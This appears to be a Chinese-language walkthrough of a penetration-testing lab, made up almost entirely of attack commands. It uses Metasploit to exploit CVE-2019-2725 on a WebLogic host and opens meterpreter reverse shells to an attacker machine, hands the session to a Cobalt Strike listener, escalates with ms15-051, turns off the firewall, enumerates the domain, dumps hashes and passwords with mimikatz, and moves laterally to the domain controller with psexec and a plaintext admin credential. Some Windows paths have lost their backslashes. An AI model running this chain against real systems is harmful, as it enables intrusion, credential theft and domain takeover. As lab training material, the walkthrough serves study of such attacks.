参考链接：https://www.codeprj.com/blog/d3ef831.html

靶机：统一初始密码为-->1qaz@WSX

C:OracleMiddlewareuser_projectsdomainsbase_domainstartWeblogic

nmap -p- 192.168.133.130

http://192.168.133.130/console

run post/windows/gather/enum_applications

search CVE-2019-2725            use 0            set target Windows            set payload windows/x64/meterpreter/reverse_tcp            set rhosts 192.168.133.130            set lhost 192.168.133.128                 setg EnableStageEncoding true            setg StageEncoder x64/zutto_dekiru#需要在advanced选项中对payload进行简单的编码  run    

background            use exploit/windows/local/payload_inject            show options            set payload windows/meterpreter/reverse_http               # 同样注意cs中的监听器的协议要保持一致            set LHOST 192.168.133.128             #  cs的ip            set LPORT 8888                         #   cs监听的端口            set session 1                              # 选择session            show options            set DisablePayloadHandler true            # 用来禁用 Metasploit payload handler的监听，目的就是告诉 Metasploit，我们已经建立了监听器，不必再新建监听器了，避免在 Metasploit 内再起一个 handler 来服务你的 payload 连接            set PrependMigrate true            # 用来启用迁移进程，这个操作可以前置MSF shellcode 在另一个进程中运行，如果被利用的应用程序崩溃或被用户关闭，MSF中的会话断开，但转到CS的 Beacon 会话仍然是存活的，该选项可选            run

search ms15-051            use 0            set target windows/x64            set payload windows/x64/meterpreter/reverse_tcp            set session 2            run

shell systeminfo

shell ipconfig /all

shell netsh advfirewall show all state          //查看防火墙状态            shell netsh advfirewall set allprofile state off  //关闭防火墙

shell net localgroup

shell net group "domain controllers" /domain            shell net group "domain computers" /domain

hashdump（插件）

mimikatz抓取密码（插件）

rev2self

make_token DE1AY.COMAdministrator Admin@123

jump psexec DC hh

hashdump

logonpasswords

shell dir \10.10.10.10c$

shell dir \10.10.10.10c$